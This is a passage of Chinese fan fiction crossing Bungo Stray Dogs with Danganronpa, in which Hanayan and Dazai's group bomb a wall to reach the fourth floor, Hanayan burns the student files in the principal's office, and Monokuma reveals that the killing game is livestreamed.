“因为当时我也打算去销毁光盘,所以正巧撞见他处理完离开的一幕?”太宰治用似开玩笑的口吻轻描淡写地描绘出事实。 花言陷入了沉默,开始反思自己怎麽没有第一时间去把光盘处理掉。 可话又说回来,他并不知道费奥多尔是什麽时候离开的,也许跟他就前后脚的功夫,如果他先去处理光盘,说不准也会被费奥多尔撞见他处理完离开的模样,到时候他可能就没办法独自去寄宿区一探究竟并安装炸弹了。 因此种种阴差阳错之下,或许现在的结果对于他而言已经是最好的了。 花言没有回答对方光盘所属的问题,而是转移了话题,“你找我来只是为了这两张光盘吗?” 模糊的视野里,太宰治似乎摇了摇头,对方一贯轻佻的嗓音里裹挟着轻松的笑意,“当然不是,我们有其他的事情想要跟你商量。” “商量?”花言若有所思地复述了一遍这个词汇。 他知道自己避而不谈的反应落在太宰治眼里会变成某种变相的承认。 不过看起来对方也知道仅凭这两张光盘能让他做的事情十分有限,因此对方会拿出这两张光盘应该只是用于吸引他赴约。 现在对方态度的转变则证明对方有求于自己,并且所求的事情可能会相当具有风险和难度。 花言唇边勾起弧度,没有立即拒绝,“商量什麽?” 太宰治抬起眼帘,视线落在眼前白发少年身上,后者逆光而立,走廊上的灯光自窗帘间隙倾泻,仅照亮了对方周身的轮廓,再加上蒙在双眼上的白色纱布,以至于他们只能从对方唇角扬起的弧度捕捉到对方起了几分兴致的事实。 “在此之前……我其实有个问题好奇很久了。”提起这一点,太宰治脸上浮现出真心实意的疑惑,“你和费奥多尔是什麽关系?” 怎麽这两人一直形影不离的? “萍水相逢下的临时结伴?”花言有些不确定,他言简意赅地概括,“我们刚好同时在教室里醒来,又刚好在走廊遇上,于是就这麽一起行动了。” “我还以为你们早就认识呢。”太宰治调侃了一句,“既然这样,你有考虑换个同伴吗?” 花言目光依次扫过对方身后的几人,“你不觉得有点太拥挤了吗?” 太宰治其实也没指望对方能够同意,毕竟在这种情况下,对于对方而言加入任何一个早已认识许久的团体都是一个不理智的选择。 他微微耸肩,仍旧表示了失落,“诶——我以为你会说很有安全感呢。” 什麽安全感?享受那种一个人出计划、一个人杀、一个人埋、一个人处理痕迹的那种完整又毫无意外的一条龙服务吗? 花言唇边弧度下压,“如果你再不说什麽事,我可就走了。” “好吧,我们其实是想问——”太宰治缓缓开口,语气认真,“你希望以最快的速度结束这场自相残杀游戏吗?” “当然。”花言明白对方的意思了,他饶有兴致地笑了一声,“你们会选择我合作,是从我炸开第三层的做法上得到了灵感吗?” 太宰治对此不置可否,“确切来说,是从你做的那件事上发现了能够尽快结束的捷径。” “但是这条捷径已经被堵死了,它说会一直一直监视我。”花言颇具暗示意味地朝视听室监控摄像头所在的位置微微侧头,“我不能再违反校规,不然会被它暴露秘密的。” 太宰治不着痕迹地瞥向视听室隐匿在阴影里的监控摄像头,听出对方在“校规”这个词汇上稍稍加重的音,明白了对方的言下之意。 ——如果他有不会正面违反校规的计划,花言会同意合作。 第74章 太宰治唇角勾起一抹弧度,语气恰到好处地流露出几分失落,“是吗?那真遗憾。” 很快他又话音一转,以同样的态度回答,“不过就算那条捷径已经走不通了,我们发出的合作邀请也依旧有效哦。” 仿佛是为了表示诚意,太宰治手中展开四部电子学生手册,其中所有屏幕都停留在个人数据的页面。 电子学生手册屏幕散发出的无机质冷光取代了走廊倾泻进来的灯光,成为黑暗中更加明亮的光源。 “需要我念给你听吗?”太宰治笑吟吟地热心询问。 努力了半天,花言实在看不清,可能是环境太暗,屏幕太亮,总之在他眼中有些曝光过度了,只能选择接受对方的好意。 “……好。” 太宰治在念的同时不忘伸出手指向身侧的同伴逐一介绍,方便对方能把人和名字对得上号,“中岛敦,‘才能’是‘超高校级的同伴’;国木田独步,‘才能’是‘超高校级的自律’;坂口安吾,‘才能’是‘超高校级的搜查官’。” 说到这里,太宰治微微顿了顿,才用平稳的口吻继续说道:“至于我的话,分配到的‘才能’是‘超高校级的指引者’。” “……哇哦。”花言古井无波地捧读了一声,“真是百花齐放的‘才能’。” 原来根本没有什麽“超高校级的修复师”,太宰治会将地点击在视听室果然是为了给他造成误判,增加他会赴约的可能吧。 “百花齐放是什麽形容啊?!”坂口安吾忍不住吐槽出声。 太宰治听见对方满是勉强的夸赞也诡异地沉默了一下,若无其事地想要转移对方的注意,“你呢?花言?” 花言安静了片刻,同样试图转移话题,“我觉得你们只需要知道我的实力有合作的价值就够了,‘才能’并不重要,对吧?” 太宰治隐约察觉到了什麽,他脸上逐渐挂起灿烂的笑容,“诶?可是我们都没有隐瞒地说了,你不告诉我们的话,是不是有点不太好呢?” 既然花言之前表示,如果有不会正面违反校规的计划就会同意合作。那麽太宰治表示合作仍旧有效的回答,则是在暗示对方他们有不会正面违反校规的计划。 太宰治向花言展现出电子学生手册的举动不仅是在表现诚意,也是在向对方确认是否同意合作。 在花言同意并得知里面的内容的那一刻,他们的合作关系也随之确认。 原本太宰治对对方的“才能”不怎麽好奇,也并不在意,不过现在对方回避了,那意义就不一样了。 “让我们确认一下,也更安心一点,不是吗?花言——?” 太宰治尾音拖拽着喊对方的名字。 花言觉得对方说的有道理,为了让对方更加安心,他使用了善意的谎言,“没错,我的‘才能’是‘超高校级的炸弹专家’。” “真的吗?”太宰治意有所指地说道:“从之前的追逐战来看,你的体力不算好,应该没有接触过专门的训练,但是你却能够恰好躲过所有袭击,炸弹就算了,铁锥是怎麽躲过的?如果是运气的话,那未免有点太好运了。” “……你这不是已经有所猜测了吗?” 对方的观察力是不是有点太仔细了? 花言记得自己明明没怎麽跟对方接触,在追黑白熊的时候跟对方也只是恰好在二楼遇见的吧?那个时候原来暴露了这麽多东西? 花言深深叹了口气,告诉了对方答案,“没错,是‘超高校级的幸运’。” 话音落下,视听室内安静了一瞬间。 太宰治缓慢地眨了一下眼睛,“虽然已经有所猜测了,但是……果然,在确认这一点时,还是稍微有点惊讶呢……” 比起太宰治的委婉,坂口安吾要直白许多。 “倒不如说,怎麽会有人有这种‘才能’吧?” 国木田独步和中岛敦赞同地点头。 这一下算是戳到花言痛楚了,他开始无差别攻击,“你们的‘才能’难道就很好吗?你那个‘超高校级的搜查官’就算了,这个‘超高校级的自律’和‘超高校级的同伴’是什麽?跟‘超高校级的方眼镜’和‘超高校级的白毛’一样意味不明,还有这个‘超高校级的指引者’,我都不想说。” 花言攻击力超群,成功把对面四个人打出沉默效果。 太宰治惊恐地伸出手指指向花言,朝一旁的国木田独步看似小声抱怨,实则当面说坏话,“花言……他,原来是这种性格吗?” 国木田独步还沉浸在花言的那句“超高校级的方眼镜”中,指尖颤抖地摸上眼镜框,半晌没回过神,口中喃喃。 “方眼镜……” 太宰治逐渐意识到什麽,趁机撺掇,“国木田,其实一直带着同一个款式的眼镜很容易给人留下刻板印象哦,你要不要考虑换一个款式?” “是……是这样吗?”国木田独步将信将疑,有些动摇。 “没错没错,我跟你说……” 太宰治拉着国木田独步小声窃窃私语,话题已然偏离。 勉强逃过一劫的坂口安吾看向中岛敦,发现后者正茫然地握着自己垂落在脸侧的鬓发,无意识地呢喃着“超高校级的白毛”这个词汇。 意识到花言恐怖攻击力的坂口安吾努力试图将话题扳回正轨,“我们要换个地方聊聊吗?” 换个没有监控的地方聊一下具体计划。 花言和太宰治对此没有异议,其他两人虽然仍旧有些恍惚,但好歹勉强没忘记正事。 四人心照不宣地去了唯一没有监控的澡堂,可能是因为其他人都汇聚在二楼图书馆,或是在新开的三楼查找线索,一路上他们没遇见任何人。 澡堂在寄宿区隔壁,离视听室也不算远,路上没有浪费多少时间。 花言目光透过蒙在双眼上的纱布打量了一圈这个地方,这里跟他印象中的一样,确实没有安装监控,但是一想到前仆后继、近乎无穷无尽的黑白熊,他就有点怀疑会不会有黑白熊藏在天花板上进行一个亲历亲为的偷听。 花言将脑海里的恐怖想法划掉,看向坐在长凳上的太宰治,言简意赅地直奔主题。 “需要我做的是什麽?” “我们希望能借助你,打开通往第四层的路。” 太宰治也直白地回答了对方,“你强行打开第三层时,黑白熊添加的规则是‘禁止破坏上锁的门’,因此这次我们希望你能避免破坏门,仅将通往四楼楼梯那面的墙壁炸开,这样就不算违反校规了。” “这是在玩文本游戏啊……”花言眉头微蹙,有些不太赞同,“它不一定会接受这个说辞。” 到时候要是黑白熊怒不可遏地把他秘密暴露出来就完蛋了。 “嗯,但是它不是一直自称会遵守规则和约定吗?所以也有可能不会,这是个靠运气的概率性未来。” 太宰治意味深长地说道:“在得知你‘才能’前,这个计划可能会更复杂一些,不过现在我觉得那些繁复的前期准备可以完全省略,毕竟所有的前期准备都是为了增加最后成功的概率,不是吗?” 因为他的“才能”是“超高校级的幸运”,所以干脆全押在他“才能”上了是吧?! “你还真敢说。”花言面无表情,“不怕我现在把你提出去挂在灯下吗?” “如果有其他更好的选择,我也不会制定这样的计划。” 太宰治表情无奈,他微微耸肩,“说真的,选择跟你合作,其实对于我们来说也是一件极具风险的事情。” 花言明白对方的意思,“因为我跟费奥多尔走的很近?” “你知道他的身份?” 太宰治眼底闪过一丝惊讶,随即而来的是浓浓的疑惑,像是不理解怎麽会有人知道对方的身份还跟对方一起行动似的。 “嗯,在光盘里看到了。”花言语气平静,宛如在陈述事实,“擅长操纵人心的“魔人”、国际通缉犯、“死屋之鼠”头领。” 他随意说了几个头衔,略过了这个话题,“说回正事吧,你为什麽希望炸开第四层,而不是直接炸开通往外界的路呢?” 花言说出从光盘中看见费奥多尔身份时的平静反应,让太宰治察觉到了对方身上掩藏着的某种可疑矛盾感,不过既然他们现在已经达成合作,暂时也没有其他更好的计划,对方又是这个计划中不可缺少的一环,出现疑虑也只能强行压下。 听见对方这个近乎是明知故问的问题,他没忍住笑了一声,“那花言,你之前为什麽会选择炸开第三层呢?难道要说你当时被愤怒冲昏了头脑没想到吗?” 这个问题无需花言回答,太宰治自顾自的说出了答案。 “当然是因为这个‘外界’或许并不存在,这里时间上只有一半,我们都是入睡的方式汇聚于此,这里却不是普通的做梦那麽简单——这点黑白熊已经变相承认过。” 太宰治将得到的所有信息抽丝剥茧,向花言说明了他们最终的目的。 “通过黑白熊和从其他楼层调查到的线索,结束这场自相残杀游戏的方式只有两种。一种是按照黑白熊说的那样自相残杀,直到留下最后一人,成功毕业;另一种是所有悬疑推理游戏种都会出现的主线任务,解锁所有局域,通过调查得知这里发生一切,在弄清楚一切后,自然也会得知离开的方法。” ——太宰治他们想尽量避免死亡,尝试第二种方式尽快结束这场自相残杀游戏。 花言读出了对方的言下之意。 他关注点微微偏离,“悬疑推理游戏……?我以为你会说血腥猎奇。” 太宰治从善如流地补充了描述,“基于血腥猎奇下的悬疑推理游戏。” “好吧。”花言接受了这个说辞,“那炸开第四层之后要怎麽办呢?就算我同意,这样的方法也只能用一次,到时候黑白熊一定会将校规完整补充到没有可以玩文本游戏的漏洞。” “嗯……”太宰治摆出了一副沉思的模样,说出了相当不负责任的话,“我们也不清楚第四层的状况,如果在第四层还没有任何关键性线索,又迎来了只能用生命填的最坏结果,也许只能祈祷这座校园不要建的那麽高?” “……现在后悔跟你们合作还来得及吗?”花言开始觉得对方似乎有些不靠谱。 “已经来不及了哦。” 太宰治双手撑在身后长凳上,那双鸢色眼眸中盛着笑意,“别那麽无情嘛,花言,你所需要的炸弹我们会提供,如果有需要我们也会为你引开黑白熊的注意——避免黑白熊愤怒过头又弄出机关袭击你,甚至在炸开第四层后,我们会帮你拦住其他人,让你第一个去第四层搜查,怎麽样?” 花言思索着没有第一时间回答。 对方的分工听起来好像还可以,一通计划下来,他所需要做的只有炸墙,但是…… “虽然我也觉得这种可能性很小,但如果结束的方法真的只有最后剩下一人才能结束呢?”他还是提出了第二种可能。 “如果这个幕后黑手创造出这个近乎是另一个完整世界,只是为了恶趣味地看我们自相残杀,而我们又真的陷入绝境无法对抗……” 太宰治缓缓做出承诺,“到那时,我们也会保证不对你出手的,花言。” 花言得到想要的承诺,唇角满意地勾起,“这样一来,我好像没有可以拒绝的空间了。” 既然对方这麽有诚意,他们现在又是合作关系,那他也表现得再有诚意一点吧。 花言从口袋里拿出了那张有关武装侦探社的合照递给太宰治,“不知道你看见这个会不会更有头绪,我在美术室发现的。” 后者接过照片,眼眸中的笑容里混杂上无奈的情绪,“我就知道你们一定拿走了一些东西。” “嗯。”花言不置可否地发出一声气音当作回应,“费奥多尔那边也有张同类型的学生版合照。” 说起费奥多尔。 花言表情忽然凝重了一分,“这张照片可以给你,我留着也没用,不过一会行动的时候我有个额外要求。” 太宰治从照片中抽回注意力,见花言语气严肃,他也随之打起几分认真。 “什麽要求?” 可能是说谎后的心虚在作祟,花言下意识看了眼门口,确认没人才继续说道:“不要让费奥多尔发现我的身影。” 这个要求有些难度,同时也有些莫名其妙,甚至可以说过于没意义了。 让太宰治不禁在好奇心的驱使下追问,“为什麽?” 花言没有隐瞒地告诉了对方原因,“因为我骗他我回寝室休息了,虽然他可能已经察觉到了不对劲,但是‘怀疑’和‘确定’可是两个不同的概念。” “听起来就像是‘嫌疑犯’和‘罪犯’的区别一样呢。”太宰治打趣了一句,还是有些不理解对方做这件事的必要。 为了以防万一,他确认了一下具体,“你知道这件事有点难度……所以,如果被发现了有什麽后果吗?” 后果? 花言认认真真思考了半晌,“他可能会生我的气?总之无论如何表面功夫都不能由我这边先丢。” 那样会显得像是他的错一样。 太宰治:? 如果他没记错,刚刚花言在视听室里的时候,跟他说的是——他跟费奥多尔只是萍水相逢下的临时结伴吧? 为什麽对方现在要这麽在意这一点? 真的只是萍水相逢下的临时结伴吗? 第75章 虽然太宰治不是很理解花言的奇怪执着,但还是按照对方的要求做了。 他们提供了足以炸开墙面的炸弹,也竭尽所能帮对方引开了黑白熊的注意。 炸开墙壁所需要的火药比炸开铁门所需要的火药要多,而黑白熊提供的材料又实在是有限,太宰治几人凑在一起都不太够,只能想办法去港口mafia那边借了两人份才勉强凑够。 一声震耳欲聋的轰鸣从三楼楼梯口响起,空气中弥漫着刺鼻的火药味,靠近楼梯口的走廊被尘烟覆盖,地上七零八落的散落着飞出的碎石。 赶在黑白熊愤怒大喊他的名字前,花言迅速通过墙上炸出来的洞进入了楼梯间。 他前脚刚踏上第四层的地面,还没来得及站稳,地面就骤然冒出众多的铁锥,险些将他刺回楼梯。 闪烁着寒光的尖锐铁锥擦过花言斗篷一角,刮下了几条雪白的碎布。 耳边响起黑白熊压抑着愤怒的声音。 “花言同学,我好像有说过不准你再违反校规吧?” 花言抬头望去,原本已经被太宰治他们吸引走的黑白熊此刻正从四楼走廊拐角处走出,其表情愤怒得连白色那一半都变成了红色,像是已经气到极点,很让人怀疑对方会不会就这样因为红温而爆炸。 “我没有违反规则。”花言拿出电子学生手册,调到校规那一页,煞有介事地说明,“我炸的是墙壁,不是门,我也没有再对你使用暴力。” 黑白熊彻底红温,站在原地气得不断颤抖,花言悄悄后退,暗自警惕对方会突然冲过来抱住他自爆。 半晌,黑白熊突然爆发似的从背后拿出手册一阵猛按,伴随着对方的动作,花言手中的电子学生手册也不断发出“叮叮叮”的提醒声。 添加校规一:“除非发生死亡案件,否则禁止以任何方式破坏学校墙壁。” 添加校规二:“禁止以进入未开放楼层为目的破坏墙壁、天花板、门、地板、窗户……等等任何设施。” 添加校规三:“禁止将校长准备的材料用于非杀人用途。” 添加校规四…… 花言一路看下来发现对方足足连发了十几条,直到最后一条——“禁止在校规上玩文本游戏”。 看起来黑白熊真的要气炸了。 对方做完这一切朝花言狠狠地怒哼一声,随后跳进地板露出的洞口内离开。 花言看着黑白熊消失的身影有点意外,对方居然只是在他面前添加了几条规则就离开了,以至于他总觉得对方现在肯定在憋着什麽坏。 难道是打算将他“内奸”的身份公之于众吗? 可这点已经威胁不到他了,从之前他炸开三楼的铁门、公然与黑白熊对峙开始,所有人都认为他们是对立的两方,更别提他现在还炸开了四楼,哪怕黑白熊现在将这件事说出来,其他人也只会认为这是黑白熊气疯了导致的栽赃。 花言思考了半晌,想不出黑白熊还有什麽计谋能够针对他,干脆放弃继续纠结这一点,选择先搜索四楼。 由于黑白熊小心眼地没有更新地图,他只能依照记忆中的参照物一个个摸索过去。 四楼最有价值的地方只有数据室与校长室,其他地方可以选择不去。 只是这两个地方在他记忆里似乎都是锁上的,虽然依照前几层的情况来看,都是一旦开启,整层局域都会解锁,但是这一层有些特殊,数据室与校长室可以说是揭开谜底的关键,通常只有到最后即将结束时才会开启。 因此万一这一层情况与前几层不一样,他在规则被完善了的情况下也没法强行打开,到时候只能找个铁丝之类的东西想办法开锁了。 花言站在校长室门外,试探性地转动了一下门把手,没感受到任何阻力,门应声被推开。 校长室内的布局很简单,尽头一套办公桌椅正对门口,椅子后面插着两面印有希望之峰学园校徽的旗帜,靠侧边的墙壁一面摆放着展示柜,其中陈列着各种荣誉徽章奖杯,另一面摆放着书柜,收纳着各种数据文件,空出的正中央则用于摆放沙发与茶几供人休息。 花言低头看向自己握着的门把手,心底闪过一丝诧异,没想到这一层居然也不例外。 他是该感慨黑白熊的大方,还是该感谢自己的“幸运”又发力了? 花言视线从散落在沙发与茶几上的数据上扫过,捡起确认是一些没什麽用的东西后,直奔校长办公桌,他争分夺秒地不断拉开抽屉,略过不知道写着什麽东西的文档,以及杂七杂八的小物件,从最下面的抽屉里找到了那把能够打开寄宿区二楼的钥匙。 花言随手柄钥匙塞进了另一边还没破的口袋,在路过书柜时脚步微顿,他看了眼书柜上陈列的文件,又抬头看了眼摄像头的方向,犹豫片刻,指尖还是搭上其中的文件,从左往右不断抽出查看又放回,直到模糊的视野中出现熟悉的面容。 找到了。 在即将拉起蒙在眼睛上的纱布查看的前一秒,花言不知怎麽想起了黑白熊轻易离开的背影,以及被费奥多尔拿去修理却不知所踪的计算机。 为了以防万一,他戴上兜帽,找了个监控受限的角落背对摄像头,做好准备才拉起纱布飞速查看数据中的内容。 前面几页都是太宰治几人的,对方没有撒谎,上面的内容都与太宰治所说符合,可以直接略过。 从坂口安吾之后是“猎犬”众人的文件,分别是福地樱痴“超高校级的战士”、大仓烨子“超高校级的军人”、条野采菊“超高校级的目盲者”。 这里以立原道造为分界线,往后是港口mafia众人,森鸥外“超高校级的港口mafia首领”、中原中也“超高校级的体术专家”、芥川龙之介“超高校级的弟子”。 往后是花言自身的文件,在他之后分别是果戈里与西格玛,这两人从一开始就已经暴露了“才能”,现在一看更是发现他们都耿直地没有撒谎,也不知道是果戈里太自由,还是西格玛太不设防。 最后一页文件中出现了费奥多尔面容,照片上对方温和无害地笑着,“才能”那一栏写的是——“超高校级的谋略家”。 除花言以外的其他学生文件中,基本数据下方都有调查报告。 只不过可能是由于这里没有异能、他们需要贴合学生身份,又或者是跟那两张照片中的学院线有关。 总之展现出来的调查报告都是学院剧情里的内容,甚至连在学院剧情中还没正式登场的角色都记录了一些零碎的日常过往。 而在调查报告最后描绘出的“才能”则是他们各自擅长到异于常人的某一方面。 花言认真看完其他人的调查报告,又翻回了自己那页,目光落在完全空白的调查报告那一栏,只觉得创建这个世界的人不仅在这方面有点敷衍,还有点孤立他。 他重新蒙好纱布,走回办公桌从抽屉中拿出了一个打火机。 原本花言只是想抽出自己文件焚烧销毁的,但是考虑到如果只有他一个人的被销毁了,会显得太刻意,于是干脆从中抽出所有人的文件一起销毁。 火舌舔舐上白纸,灼热的光源在半空中不断腾盛,灰烬自火焰底部不断坠落,在火焰即将燃烧到指尖的那一刻,花言松开了手。 失去依附的白纸随着重力飘落,赤红的火焰愈发高涨又转瞬消失,只留下地面一堆小小的灰烬,诉说着这里曾经有份数据。 花言没有过多在校长室停留,也没有处理那份销毁的痕迹,如果太宰治想知道他销毁了什麽,他自然会看在他们合作的份上告诉对方,或者说除了有关他文件以外的东西都可以告诉对方,至于对方会不会告诉其他人,那就随对方怎麽做了。 对于他来说,其他人只要没亲眼看见就行,如果到时候出了什麽问题,他也可以甩锅给太宰治。 花言依照着记忆中的路线走向数据室。 他们是以入睡的方式来到这里的,因此这场自相残杀游戏应该没有观众,不过去看一下也许能得到其他线索——比如说有关幕后黑手真实身份之类的,又比如说监控有没有被入侵之类的。 数据室离通往三楼的楼梯口比较近,调查完他可以直接下去。 花言随手转动门把手推开,里面的光线不出意料的昏暗,不过墙面上密密麻麻的监控显示屏又很好补充了光源昏暗这一点不足,供他看清了里面的布局。 布局与他所知道的模样无二——近乎能够展现出校园内各个角落的实时监控、摆放在右端的电视、正中央供人观察监控的座位,还有一个正对中央的摄像机。 花言视线在墙上众多监控屏幕上停顿了片刻,没发现任何异常。 似乎是听见门被推开的声音,长椅旋转了过来,黑白熊正坐在椅中。 明明监控上已经显现出了花言的身影,而黑白熊却故意表现得像是没有发现对方的到来一般,气愤地发出指责。 “你这没礼貌的家夥,进来不知道先敲门吗?!” 这种一眼就知道是故意找茬的指责花言都懒得搭理,他敷衍地点头,“下次一定。” 对方一副毫不在意的态度让黑白熊更生气了,它愤怒地站在椅子上挥舞着两只小圆手。 “这是什麽态度,啊?花言同学!这就是你对校长的态度吗?!” “是热情的态度啊,校长。” 花言一边抽空搪塞对方,一边调查周围,嫌黑白熊挡在桌前太碍事,他拉开黑白熊的椅子,在桌子的抽屉中翻翻找找,没找到能够打开电视的遥控器。 花言安心了,看起来电视机可能只是摆设。 坐在椅子上的黑白熊见到这一幕更是气不打一处来,趁花言弯腰的间隙,它双腿一蹦,跳到了对方头上,毫无杀伤力的小圆手开始卖力地锤着花言的脑袋,忙活了半天造成的伤害为零。 花言只觉得头有点重,不过能让对方安静下来也无所谓,他顶着黑白熊走到了房间中那扇像是黑白熊配色的特殊门前,如果不出意外,这里面应该是控制黑白熊的中枢。 指腹试探性地摁在门上,头上的黑白熊对此没什麽反应,似乎是并不在意他看见门内的情况,这让花言有些疑惑。 指尖微微施加力道,门扉发出一声腐朽的“吱呀”声响,露出了背后的场景。 在看清其中模样的那一瞬间,花言骤然睁大眼眸,里面一片漆黑,没有丝毫灯光,借助外面电子屏幕所散发出的无机质冷光可以隐约看见控制台的轮廓,但是…… 却已经废弃很久了。 第76章 控制台上铺陈着一层厚厚的灰,从中露出五颜六色被时间腐蚀出内芯的数据线,周围墙壁上挂着的屏幕破碎不堪,像是被谁敲烂了一样,角落里甚至还结着一层蜘蛛网。 如愿以偿看见花言震惊反应的黑白熊高兴地大笑出声。 “噗哈哈哈——你难道以为我是被人控制的吗?天真!太天真了!我都说了,我可是校长啊——!” 没等花言嫌弃对方在自己头顶大笑太吵而把对方丢出去,黑白熊自己主动从花言头上跳到了椅子中。 似终于找到能够报复花言的方法了一般,它从身后掏出了个遥控器,想要趁胜追击。 花言看见遥控器瞳孔地震,原本松了的气又被重新提了回来,对对方接下来要做的事情也已经有所猜测。 “你居然藏在身上?!” 不是,对方一个布偶又没口袋,到底是藏在哪里的?!难道对方身体构造里还有个什麽收纳柜一样的空间吗?! 黑白熊理所当然地说道:“重要的东西当然要藏好。” 它言归正传,给予对方沉重一击,“你已经知道了吧?你们自相残杀的学园生活是完全直播的!通过特殊渠道绝赞放送哦!” 伴随黑白熊话音落下,电视屏幕被打开,其中呈现出数据室的画面,一身雪白的少年伫立于房间内的暗门前,唇片抿起,看起来有些不悦。 纵使脑子因黑白熊的话而受到了冲击,导致所有的线索本能同一时间浮现、不断交织组合产生乱七八糟的猜测,但花言面上还是维持住了平静。 他深吸一口气,问出了最关键的问题。 “放送?向谁放送?” “啊咧?这个问题真是奇怪。” 黑白熊故作疑惑地歪头,“当然是向没能参加这场游戏的同学放送,你们拿了他们的名额,总该让他们看一下你们是怎麽表现的吧。” “但是啊……” 提起这一点,黑白熊又有些生气,它跳上桌面,指着花言,大声斥责,“无论校长我怎麽努力,你们这些家夥都提不起干劲,不想着如何遵守游戏规则进行游戏,而是想方设法地作弊!到目前为止好不容易发生的那一起杀人案件,居然还有一半因素是自杀!害得我为了史无前例绝望而精心准备的剧本都完全作废了!” 它说着捧起摄像头,像是在对花言展示观看这一切的观众,“正在荧幕前的观众一定都觉得这是一场史无前例的超烂直播!甚至无聊到睡着了吧!” 黑白熊仿佛对此深受打击,它布偶质的小小身体摇摇欲坠,“对于校长我而言,这真是一场直播生涯中的失败。” “你还能更失败。”花言语气中带着淡淡的死意,在思维能力罢工下,开始神志不清地胡言乱语,“我要告你侵害他人隐私,我要报警把你抓去坐牢。” “惊!” 黑白熊像是被对方的发言震慑到了,它僵在原地,不一会儿又捂着嘴笑出声,“这个问题观众们已经在即将发生第一次杀人案件前抗议过了哦,考虑到你们的隐私、以及小心翼翼守护的脆弱秘密——所有会暴露这些的画面,校长我都为你们贴心处理过了!” “比如说……”黑白熊从身后掏出了一张截取出来的照片,展现在对方面前,“这样!” 花言虽然觉得对方处理的有点晚了,人家该看到的都看到了,现在处理有什麽用…… 不过在好奇心的驱使下,他还是接过对方手中的照片,借助屏幕散发出的光芒看了一眼,结果看见的内容直接让他两眼一黑。 只见上面的情形赫然是他独自一人在医务室缠绕纱布遮住双眼的时候,而黑白熊所说的处理,只是在他双眼处打上了马赛克。 他承认,这样处理之后确实没办法让人看见他那双花里胡哨的眼睛,但是—— 这不是更可疑了吗?! 简直就像是嫌犯一样啊! 没等花言发出质疑,黑白熊又掏出了一张照片。 “或者是这样!保证不会暴露半点的处理方式!” 花言被转移注意,下意识看向对方手中的照片。 这一看,发现这张照片更是重量级,全部都是马赛克,简直像是什麽违禁现场! “你……” 花言崩溃得说不出来话了,他手指颤抖地指了对方半天,一大堆吐槽堵在嗓子里不知道该先说哪句。 一想到哪怕说了也是白费口舌,以及他瞳色的秘密早在第一集就暴露,花言就失去了全部的力气与手段。 他顺着门框虚弱地滑坐在地,气若游丝,“你赢了……” “唔噗噗噗,才这点程度的打击就能让你陷入绝望吗?比想象中的要简单很多呢!” 黑白熊双手一挥,无数打着马赛克的照片在半空中挥舞,像是舞台上为胜利者洒落的彩带,它站在桌面上因扳回一局而高兴得手舞足蹈。 在黑白熊庆祝自己胜利之际,数据室门边探出一颗发稍卷翘的毛茸茸脑袋。 已经过去近两个小时了,太宰治迟迟没有等到花言出来,考虑到对方是不是出现了什麽意外,他让其他人留在楼梯口等待,自己独自一人上来一探究竟。 没想到刚到距离楼梯口最近的数据室就能发现对方的身影。 只不过…… 这是在干什麽? 眼前的一幕怎麽看都有点像是……不能说的违法内容…… 一身雪白的少年靠坐在门框边,低垂着头,披散在身后的白发倾泻而下,遮住了他的面部,无法从中窥探到任何表情,唯一能够感受到的,只有从对方身上源源不断散发出的绝望和悲伤。 与之截然相反的是黑白熊一脸喜气洋洋在桌面上扭动身体的得意反应。 太宰治目光扫过墙面上无数监控屏幕,又落在黑白熊脚下散落的一地马赛克照片上,最终看向明显像是被打击到心如死灰的花言。 犹豫半晌,还是出声询问,“花言,你还好吗?” “我还好……”花言缓缓抬起头,勾勒出一个苍白的笑容,嗓音透着似久病之人的脆弱,“你们快去搜查线索吧,不用管我了……” 这真的很好吗? 太宰治对此颇为质疑,并贴心地表达了担忧,“如果你被威胁了,可以眨眨眼示意一下。” 双眼被纱布蒙住的花言:…… 他觉得自己又恢复了力气与手段。 花言面无表情地从地上起身,“不想安慰就不要安慰喽,眨眨眼示意一下是什麽意思?” 被戳穿了的太宰治微微耸肩,“这其实是让你打起精神的一种方法哦。” 他随手丢下手中的照片,视线透过花言,看向对方身后门内明显像是废弃了一样的地方,“发生了什麽?” “其实也没什麽,本来以为能在那扇门后——控制中枢里找到操纵黑白熊的幕后黑手,没想到发现那里已经废弃了。” 花言一边朝外走,一边回答对方的问题,“当然我也没想过会这麽简单找到幕后黑手,因此实际上真正打击到我的是——” 他嗓音微微上扬,不可避免地参杂上了几分愤怒,“这场自相残杀游戏居然是全程直播的!这完全是在侵犯我们隐私吧!太恶劣了!太恶毒了!等我抓住那个幕后黑手,有他好果子吃!” 太宰治心底掠过一丝惊愕,“我们是通过入睡的方式来到这里的,在这种前提下,居然还有人能旁观我们的梦?” “对啊!偷窥别人梦境实在是太恶趣味了对吧?!”花言再次无差别攻击,不仅攻击了黑白熊、幕后黑手,甚至还在攻击观众。 攻击完,他不忘给太宰治解释一下,“黑白熊说——因为我们拿了其他同学的名额,所以这场直播朝他们放送,是为了让他们看看我们的表现之类的。” 对方话语中庞大的信息量让太宰治眉头皱起,没等他更进一步详细问些什麽,花言又后知后觉意识到了一个新的问题,转移了话题。 “说起来,你怎麽上来了?” “因为看你迟迟没有下去,担心你出了意外,所以我上来看看,没想到这一眼刚好看见你一副深受打击滑坐在地的模样。”太宰治说着想起了黑白熊洒落一地的马赛克照片,“那些乱七八糟的照片是什麽?” “哦,那个是我在质问黑白熊冒犯了我们隐私时候,它说它有处理,作为证据拿出来的东西。” 花言语气看似平静,细听却能听出隐藏在平静背后的咬牙切齿。 太宰治:…… 太宰治觉得黑白熊处理了还不如不要处理,这处理一下显得更加掩耳盗铃了。 花言在朝三楼走去的同时不忘跟对方确认,“费奥多尔不在吧?” “嗯,听见动静来的人里没有他,我出于好奇问了下果戈里,他告诉我,费奥多尔在娱乐室的时候不小心把水弄在手部伤口上了,所以去了医务室换绷带、重新处理伤口。”太宰治言简意赅地跟对方说明了情况。 花言若有所思地点头,“这样啊……” 太宰治见对方似乎打算下楼,“你已经搜查完了吗?” “嗯,差不多吧。”花言思索了一下,还是主动告知对方,“校长室里我处理掉了有关我们所有人的具体文件,里面记录的调查报告都是一些学园的日常碎片,如果你想知道具体,晚点可以来找我。” 太宰治对此并不介意,他应了一声,挥了挥手,“那晚点再见。” 花言头也不回地摆了摆手,考虑到三楼楼梯口可能会有不少人,他脚步微转,先进了一旁的音乐室。 等其他人都上来搜查、又或者是转移了目标时,他才从空无一人的三楼楼梯径直去往一楼。 花言斗篷下的手握住口袋里的通往寄宿区二楼的钥匙,打算趁这个机会一鼓作气去寄宿区二楼查找更多有关幕后黑手的东西。 他目不斜视地快步穿过一楼走廊,路过食堂,在即将踏上通往寄宿区二楼楼梯口的转角时停住了脚步。 